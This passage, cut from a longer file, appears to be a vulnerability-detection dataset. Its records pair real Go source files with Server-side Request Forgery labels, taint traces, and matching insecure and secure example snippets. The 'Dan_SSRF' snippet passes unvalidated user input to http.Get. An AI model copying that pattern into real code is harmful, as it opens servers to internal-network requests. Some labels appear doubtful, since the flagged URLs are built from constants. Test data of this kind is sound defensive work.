&loginResult)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif loginResult.Status != \"OK\" {\n\t\treturn ErrLoginFailed\n\t}\n\n\ti.Config.ApiKey = loginResult.ApiKey\n\treturn nil\n}\n\nfunc (i *Cmdb) LoginWithApiKey(url string, apikey string) error {\n\tlog.Debugf(\"Opening new WebClient connection using ApiKey. (Url: %s, ApiKey: %s)\", url, apikey)\n\ti.Config.ApiUrl = url\n\ti.Config.ApiKey = apikey\n\treturn nil\n}\n\n// validWebserviceMethod verifies that only supported (GET, POST) method calls get send to the CMDB\nfunc validWebserviceMethod(method string) (err error) {\n\tswitch method {\n\tcase http.MethodGet:\n\t\treturn\n\tcase http.MethodPost:\n\t\treturn\n\t}\n\n\treturn http.ErrNotSupported\n}\n\nfunc (i *Cmdb) CallWebservice(method string, service string, serviceName string, params url.Values, variable interface{}) (err error) {\n\tif err = validWebserviceMethod(method); err != nil {\n\t\treturn err\n\t}\n\n\tif i.Config.ApiKey == \"\" {\n\t\terr = i.Login()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tparams.Set(\"apikey\", i.Config.ApiKey)\n\treqURL := \"\"\n\thttpClient := &http.Client{}\n\tvar resp *http.Response\n\n\tswitch method {\n\tcase http.MethodPost:\n\t\treqURL = i.Config.ApiUrl + \"/api/adapter/\" + service + \"/\" + serviceName + \"/method/json\"\n\t\treq, err := http.NewRequest(method, reqURL, bytes.NewBufferString(params.Encode()))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treq.Header.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\tresp, err = httpClient.Do(req)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tcase http.MethodGet:\n\t\treqURL = i.Config.ApiUrl + \"/api/adapter/apikey/\" + i.Config.ApiKey + \"/\" + service + \"/\" + serviceName + \"/method/json\"\n\t\treq, err := http.NewRequest(method, reqURL, nil)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treq.URL.RawQuery = params.Encode()\n\t\tresp, err = httpClient.Do(req)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tdefault:\n\t\tlog.Errorf(\"method unsupported[%s]\", method)\n\t\treturn http.ErrNotSupported\n\t}\n\n\tbyteBody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = checkResponseStatusMessage(byteBody)\n\tif err != nil {\n\t\terr = errors.New(err.Error() + \": \" + string(byteBody))\n\t\treturn err\n\t}\n\n\trv := reflect.Indirect(reflect.ValueOf(variable))\n\tif rv.Kind() == reflect.String {\n\t\trv.SetString(string(byteBody))\n\t\treturn nil\n\t}\n\n\terr = json.Unmarshal([]byte(byteBody), &variable)\n\tif err != nil {\n\t\terr = errors.New(err.Error() + \": \" + string(byteBody))\n\t\treturn err\n\t}\n\treturn nil\n}\n\ntype ResponseStatus struct {\n\tStatus string `json:\"status\"`\n}\n\n// checkResponseStatusMessage will verify that the cmdb returend \"status\": \"OK\"\nfunc checkResponseStatusMessage(byteBody []byte) (err error) {\n\tresponseStatus := ResponseStatus{}\n\terr = json.Unmarshal([]byte(byteBody), &responseStatus)\n\tif err != nil {\n\t\tlog.Error(\"error checking StatusMessage: \", err)\n\t\tlog.Error(string(byteBody))\n\t\treturn err\n\t}\n\n\tif strings.Compare(responseStatus.Status, \"OK\") != 0 {\n\t\terr = ErrWebserviceResponseNotOk\n\t}\n\treturn\n}\n\n// Webservice queries a given webservice with all params supplied\n// Returns err != nil if query fails\nfunc (i *Cmdb) Webservice(ws string, params url.Values) (r string, err error) {\n\tlog.Debugf(\"Webservice: %s, Params: %v\", ws, params)\n\terr = i.CallWebservice(http.MethodPost, \"query\", ws, params, &r)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn r, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 33, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "99246bb229862cf4e01848600136196313a8083e8346b62e8cf89fe3b0776efc", "license": {"spdx": ["MIT"], "repo": "chrj/prometheus-ssl-exporter", "path": "main.go", "repo_head_hexsha": "1290d02e7a27f14dc2ea9023acd7105bdbbbf76b", "stack_hexsha": "ddab19bda5b49fcbc6e8c6f342b41f31c334ca8f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 144, "entireCode": "package main\n\nimport (\n\t\"crypto/tls\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/smtp\"\n\t\"os\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/naoina/toml\"\n\t\"github.com/prometheus/client_golang/prometheus\"\n\t\"github.com/prometheus/client_golang/prometheus/promhttp\"\n)\n\nvar addr = flag.String(\"listen-address\", \":9203\", \"Prometheus metrics port\")\nvar conf = flag.String(\"config\", \"/etc/ssl/checks\", \"Configuration file\")\nvar timeout = flag.Duration(\"timeout\", 8*time.Second, \"Timeout for network operations\")\n\nvar httpClient *http.Client\n\ntype HTTPDomain struct {\n\tDomain string\n}\n\ntype SMTPDomain struct {\n\tDomain string\n\tPort int\n}\n\ntype Exporter struct {\n\tHTTPDomains []HTTPDomain\n\tSMTPDomains []SMTPDomain\n\n\tcertificates *prometheus.GaugeVec\n\tstatus *prometheus.GaugeVec\n}\n\nfunc NewSSLExporter() *Exporter {\n\treturn &Exporter{\n\t\tcertificates: prometheus.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"ssl\",\n\t\t\t\tSubsystem: \"certificate\",\n\t\t\t\tName: \"days_left\",\n\t\t\t\tHelp: \"Number of days left on the certificate\",\n\t\t\t},\n\t\t\t[]string{\n\t\t\t\t\"type\",\n\t\t\t\t\"domain\",\n\t\t\t},\n\t\t),\n\t\tstatus: prometheus.NewGaugeVec(\n\t\t\tprometheus.GaugeOpts{\n\t\t\t\tNamespace: \"ssl\",\n\t\t\t\tSubsystem: \"endpoint\",\n\t\t\t\tName: \"up\",\n\t\t\t\tHelp: \"Was the last SSL poll successful\",\n\t\t\t},\n\t\t\t[]string{\n\t\t\t\t\"type\",\n\t\t\t\t\"domain\",\n\t\t\t},\n\t\t),\n\t}\n}\n\nfunc (e *Exporter) Describe(ch chan<- *prometheus.Desc) {\n\te.certificates.Describe(ch)\n\te.status.Describe(ch)\n}\n\nfunc (e *Exporter) Collect(ch chan<- prometheus.Metric) {\n\n\tvar top sync.WaitGroup\n\n\ttop.Add(2)\n\n\tgo func() {\n\n\t\t// Collect HTTP domains\n\n\t\tvar wg sync.WaitGroup\n\n\t\twg.Add(len(e.HTTPDomains))\n\n\t\tfor _, target := range e.HTTPDomains {\n\n\t\t\ttarget := target\n\n\t\t\tgo func() {\n\t\t\t\te.collectHTTPDomain(target.Domain)\n\t\t\t\twg.Done()\n\t\t\t}()\n\n\t\t}\n\n\t\twg.Wait()\n\n\t\ttop.Done()\n\n\t}()\n\n\tgo func() {\n\n\t\t// Collect SMTP domains\n\n\t\tvar wg sync.WaitGroup\n\n\t\twg.Add(len(e.SMTPDomains))\n\n\t\tfor _, target := range e.SMTPDomains {\n\n\t\t\ttarget := target\n\n\t\t\tgo func() {\n\t\t\t\te.collectSMTPDomain(target.Domain, target.Port)\n\t\t\t\twg.Done()\n\t\t\t}()\n\n\t\t}\n\n\t\twg.Wait()\n\n\t\ttop.Done()\n\n\t}()\n\n\ttop.Wait()\n\n\te.certificates.Collect(ch)\n\te.status.Collect(ch)\n\n}\n\nfunc (e *Exporter) collectHTTPDomain(domain string) {\n\n\treq, _ := http.NewRequest(\"GET\", fmt.Sprintf(\"https://%s/\", domain), nil)\n\treq.Header.Set(\"User-Agent\", \"prometheus-ssl-exporter/0.1 (SSL monitoring)\")\n\n\tresp, err := httpClient.Do(req)\n\tif err != nil {\n\t\tlog.Printf(\"error connecting to %v: %v\", domain, err)\n\t\te.status.WithLabelValues(\"http\", domain).Set(0)\n\t\treturn\n\t}\n\n\tdefer resp.Body.Close()\n\n\tif _, err := io.Copy(ioutil.Discard, resp.Body); err != nil {\n\t\tlog.Printf(\"error reading response from %v: %v\", domain, err)\n\t\te.status.WithLabelValues(\"http\", domain).Set(0)\n\t\treturn\n\t}\n\n\tcert := resp.TLS.PeerCertificates[0]\n\n\te.certificates.WithLabelValues(\"http\", domain).Set(\n\t\tfloat64(time.Until(cert.NotAfter)/time.Hour) / 24,\n\t)\n\n\te.status.WithLabelValues(\"http\", domain).Set(1)\n\n}\n\nfunc (e *Exporter) collectSMTPDomain(domain string, port int) {\n\n\ttarget := fmt.Sprintf(\"%s:%d\", domain, port)\n\n\tstart := time.Now()\n\n\tconn, err := net.DialTimeout(\"tcp\", target, *timeout)\n\tif err != nil {\n\t\tlog.Printf(\"error connecting to smtp server %v: %v\", target, err)\n\t\te.status.WithLabelValues(\"smtp\", domain).Set(0)\n\t\treturn\n\t}\n\n\tconn.SetDeadline(start.Add(*timeout))\n\n\tc, err := smtp.NewClient(conn, domain)\n\tif err != nil {\n\t\tlog.Printf(\"error collecting %v: %v\", target, err)\n\t\te.status.WithLabelValues(\"smtp\", domain).Set(0)\n\t\treturn\n\t}\n\n\tdefer c.Quit()\n\n\ttlsconf := &tls.Config{ServerName: domain}\n\n\terr = c.StartTLS(tlsconf)\n\tif err != nil {\n\t\tlog.Printf(\"STARTTLS handshake failed for %v: %v\", target, err)\n\t\te.status.WithLabelValues(\"smtp\", domain).Set(0)\n\t\treturn\n\t}\n\n\tstate, ok := c.TLSConnectionState()\n\tif !ok {\n\t\tlog.Printf(\"couldn't get TLS state from %v\", target)\n\t\te.status.WithLabelValues(\"smtp\", domain).Set(0)\n\t\treturn\n\t}\n\n\tcert := state.PeerCertificates[0]\n\n\te.certificates.WithLabelValues(\"smtp\", domain).Set(\n\t\tfloat64(time.Until(cert.NotAfter)/time.Hour) / 24,\n\t)\n\n\te.status.WithLabelValues(\"smtp\", domain).Set(1)\n\n}\n\nfunc main() {\n\n\tflag.Parse()\n\n\thttpClient = &http.Client{\n\t\tTimeout: *timeout,\n\t}\n\n\tf, err := os.Open(*conf)\n\tif err != nil {\n\t\tlog.Fatalf(\"couldn't open configuration file: %v\", err)\n\t}\n\n\texporter := NewSSLExporter()\n\n\tif err := toml.NewDecoder(f).Decode(exporter); err != nil {\n\t\tlog.Fatalf(\"couldn't parse configuration file: %v\", err)\n\t}\n\n\tprometheus.MustRegister(exporter)\n\n\thttp.Handle(\"/metrics\", promhttp.Handler())\n\n\tlog.Fatal(http.ListenAndServe(*addr, nil))\n\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 144, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 144, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "9b296f84b72dab066facf059db2aef4c4eb240f3c2a7f7a1e65a7a5644bf3668", "license": {"spdx": ["MIT"], "repo": "leighmacdonald/twirc", "path": "twitch.go", "repo_head_hexsha": "0e455c386f3f74ead93aa85ab2efd6aa8c43abdc", "stack_hexsha": "8f892d4db794a7fd3adcce8c4a428a3a1bb19a7f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 70, "entireCode": "package twirc\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\nvar (\n\thttpClient = &http.Client{}\n)\n\nvar (\n\turlEmotes = \"https://api.twitch.tv/kraken/chat/emoticons\"\n)\n\ntype (\n\tChatter string\n\n\tChatterResponse struct {\n\t\tChatterCount int `json:\"chatter_count\"`\n\t\tChatters ChatterTypes `json:\"chatters\"`\n\t}\n\n\tChatterTypes struct {\n\t\tModerators []Chatter `json:\"moderators\"`\n\t\tStaff []Chatter `json:\"staff\"`\n\t\tAdmins []Chatter `json:\"admins\"`\n\t\tGlobalMods []Chatter `json:\"global_mods\"`\n\t\tViewers []Chatter `json:\"viewers\"`\n\t}\n)\n\ntype (\n\tEmotesResp struct {\n\t\tlinks map[string]string `json:\"-\"`\n\t\tEmoticons []EmotesContainer `json:\"emoticons\"`\n\t}\n\n\tEmotesContainer struct {\n\t\tRegex string `json:\"regex\"`\n\t\tImages []EmotesImage `json:\"images\"`\n\t}\n\n\tEmotesImage struct {\n\t\tEmoticonSet int `json:\"emoticon_set\"`\n\t\tHeight int `json:\"height\"`\n\t\tWidth int `json:\"width\"`\n\t\tUrl string `json:\"url\"`\n\t}\n)\n\nfunc (c *ChatterResponse) Count() int {\n\treturn len(c.Chatters.Admins) + len(c.Chatters.GlobalMods) + len(c.Chatters.Moderators) + len(c.Chatters.Staff) + len(c.Chatters.Viewers)\n}\n\nfunc decodeChatters(resp_body []byte, chatters_resp *ChatterResponse) error {\n\terr := json.Unmarshal(resp_body, chatters_resp)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc Chatters(channel string) (*ChatterResponse, error) {\n\tvar chatters_resp ChatterResponse\n\turl := fmt.Sprintf(\"https://tmi.twitch.tv/group/user/%s/chatters\", channel)\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn &chatters_resp, err\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn &chatters_resp, err\n\t}\n\terr = decodeChatters(body, &chatters_resp)\n\tif err != nil {\n\t\treturn &chatters_resp, err\n\t}\n\treturn &chatters_resp, nil\n}\n\nfunc FetchEmotes() (*EmotesResp, error) {\n\tresp_body, err := twitchAPIRequest(urlEmotes)\n\tvar emotes EmotesResp\n\terr = json.Unmarshal(resp_body, &emotes)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn &emotes, err\n\t}\n\treturn &emotes, nil\n}\n\nfunc twitchAPIRequest(url string) ([]byte, error) {\n\treq, _ := http.NewRequest(\"GET\", url, nil)\n\treq.Header.Set(\"Accept\", \"application/vnd.twitchtv.v3+json\")\n\tresp, err := httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn body, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 69, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 69, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 70, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "fbc0b1d7ecd3fa235378e2a4e5ec3e061921be48828b66cd9091ee829bbc67bc", "license": {"spdx": ["Apache-2.0"], "repo": "domeneshop/cert-manager-webhook-domeneshop", "path": "pkg/domeneshop/client.go", "repo_head_hexsha": "2b2b7c11ec5cabb7bc5ef0ebbb2d4e5d493b50d7", "stack_hexsha": "002a1cef29b6f4af9b4a8007144318ac3f7f6a01", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 69, "entireCode": "package domeneshop\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\nconst apiURL string = \"https://api.domeneshop.no/v0\"\n\n// Client implements a very simple wrapper around the Domeneshop API.\n//\n// For now it will only deal with adding and removing TXT records, as\n// required by ACME providers.\n//\n// https://api.domeneshop.no/docs/\ntype Client struct {\n\tAPIToken string\n\tAPISecret string\n\thttp http.Client\n}\n\n// Domain JSON data structure\ntype Domain struct {\n\tName string `json:\"domain\"`\n\tID int `json:\"id\"`\n\tExpiryDate string `json:\"expiry_date\"`\n\tNameservers []string `json:\"nameservers\"`\n\tRegisteredDate string `json:\"registered_date\"`\n\tRegistrant string `json:\"registrant\"`\n\tRenew bool `json:\"renew\"`\n\tServices struct {\n\t\tDNS bool `json:\"dns\"`\n\t\tEmail bool `json:\"email\"`\n\t\tRegistrar bool `json:\"registrar\"`\n\t\tWebhotel string `json:\"webhotel\"`\n\t} `json:\"services\"`\n\tStatus string\n}\n\n// DNSRecord JSON data structure\ntype DNSRecord struct {\n\tData string `json:\"data\"`\n\tHost string `json:\"host\"`\n\tID int `json:\"id\"`\n\tTTL int `json:\"ttl\"`\n\tType string `json:\"type\"`\n}\n\n// NewClient returns an instance of the Domeneshop API wrapper\nfunc NewClient(apiToken, apiSecret string) *Client {\n\tclient := Client{\n\t\tAPIToken: apiToken,\n\t\tAPISecret: apiSecret,\n\t\thttp: http.Client{},\n\t}\n\n\treturn &client\n}\n\n// Request makes a request against the API with an optional body, and makes sure\n// that the required Authorization header is set using `setBasicAuth`\nfunc (c *Client) Request(method string, endpoint string, reqBody []byte, v interface{}) error {\n\n\tvar buf = bytes.NewBuffer(reqBody)\n\n\treq, err := http.NewRequest(method, fmt.Sprintf(\"%s/%s\", apiURL, endpoint), buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.SetBasicAuth(c.APIToken, c.APISecret)\n\n\tversionInfo := GetVersion()\n\n\treq.Header.Set(\"User-Agent\", fmt.Sprintf(\"cert-manager-webhook-domeneshop/v%s-%s\", versionInfo.Version, versionInfo.GitCommit))\n\n\tresp, err := c.http.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\trespBody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif resp.StatusCode > 399 {\n\t\treturn fmt.Errorf(\"API returned %s: %s\", resp.Status, respBody)\n\t}\n\n\tif v != nil {\n\t\treturn json.Unmarshal(respBody, &v)\n\t}\n\treturn nil\n}\n\n// GetDomainByName fetches the domain list and returns the Domain object\n// for the matching domain.\nfunc (c *Client) GetDomainByName(domain string) (*Domain, error) {\n\tvar domains []Domain\n\n\terr := c.Request(\"GET\", \"domains\", nil, &domains)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, d := range domains {\n\t\tif !d.Services.DNS {\n\t\t\t// Domains without DNS service cannot have DNS record added\n\t\t\tcontinue\n\t\t}\n\t\tif d.Name == domain {\n\t\t\treturn &d, nil\n\t\t}\n\t}\n\n\treturn nil, fmt.Errorf(\"failed to find matching domain name: %s\", domain)\n}\n\n// GetDNSRecordByHostData finds the first matching DNS record with the provided host and data.\nfunc (c *Client) GetDNSRecordByHostData(domain Domain, host string, data string) (*DNSRecord, error) {\n\tvar records []DNSRecord\n\n\terr := c.Request(\"GET\", fmt.Sprintf(\"domains/%d/dns\", domain.ID), nil, &records)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, r := range records {\n\t\tif r.Host == host && r.Data == data {\n\t\t\treturn &r, nil\n\t\t}\n\t}\n\n\treturn nil, fmt.Errorf(\"failed to find record with host %s for domain %s\", host, domain.Name)\n\n}\n\n// CreateTXTRecord creates a TXT record wih\nfunc (c *Client) CreateTXTRecord(domain *Domain, host string, data string) error {\n\n\tjsonRecord, err := json.Marshal(DNSRecord{\n\t\tData: data,\n\t\tHost: host,\n\t\tTTL: 300,\n\t\tType: \"TXT\",\n\t})\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn c.Request(\"POST\", fmt.Sprintf(\"domains/%d/dns\", domain.ID), jsonRecord, nil)\n}\n\n// DeleteTXTRecord deletes the DNS record matching the provided host and data\nfunc (c *Client) DeleteTXTRecord(domain *Domain, host string, data string) error {\n\n\trecord, err := c.GetDNSRecordByHostData(*domain, host, data)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn c.Request(\"DELETE\", fmt.Sprintf(\"domains/%d/dns/%d\", domain.ID, record.ID), nil, nil)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 69, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 69, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "39e6f18cde0b11b170f2940c87238f2f510c4a3bfe92c685b00ac417e45f4fbf", "license": {"spdx": ["Apache-2.0"], "repo": "kena0ki/github_link_creator", "path": "external/github.go", "repo_head_hexsha": "8168f75f72ff870a39a46d8553d3b6491f2e33a2", "stack_hexsha": "e53bd47fb3618286008dbdd9401d3935dbaf657f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 30, "entireCode": "package external\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"image\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\n\t\"github.com/po3rin/github_link_creator/entity\"\n\t\"github.com/po3rin/github_link_creator/lib/env\"\n\n\t\"github.com/pkg/errors\"\n)\n\nvar requestParams string\n\nfunc init() {\n\tif env.GithubClientID == \"\" || env.GithubSecret == \"\" {\n\t\trequestParams = \"\"\n\t\treturn\n\t}\n\trequestParams = fmt.Sprintf(\"?client_id=%v&client_secret=%v\", env.GithubClientID, env.GithubSecret)\n}\n\n// GetRepoData request repository data.\nfunc (r *Repository) GetRepoData(ctx context.Context, userName string, repoName string) (*entity.Repo, error) {\n\turi := fmt.Sprintf(\"https://api.github.com/repos/%v/%v\", userName, repoName)\n\treq, err := http.NewRequest(\"GET\", uri+requestParams, nil)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, fmt.Sprintf(\"Failed to new request, url: %v\", uri))\n\t}\n\treq = req.WithContext(ctx)\n\tres, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif res.StatusCode != 200 {\n\t\treturn nil, fmt.Errorf(\"Failed to request url: %v, Please make sure repository exists\", uri)\n\t}\n\tdefer res.Body.Close()\n\tbody, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trepo := &entity.Repo{}\n\terr = json.Unmarshal(body, repo)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn repo, nil\n}\n\n// GetUserImage get image from github.\nfunc (r *Repository) GetUserImage(ctx context.Context, avatarURL string) (image.Image, error) {\n\treq, err := http.NewRequest(\"GET\", avatarURL+requestParams, nil)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, fmt.Sprintf(\"Failed to create NewRequest, url: %v\", avatarURL))\n\t}\n\treq = req.WithContext(ctx)\n\tres, err := http.DefaultClient.Do(req)\n\tif err != nil || res.StatusCode != 200 {\n\t\treturn nil, errors.Wrap(err, fmt.Sprintf(\"Failed to request, url: %v\", avatarURL))\n\t}\n\tdefer res.Body.Close()\n\timg, _, err := image.Decode(res.Body)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, fmt.Sprintf(\"Failed to decode image, url: %v\", avatarURL))\n\t}\n\treturn img, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 30, "eventType": "sink", "messageKey": 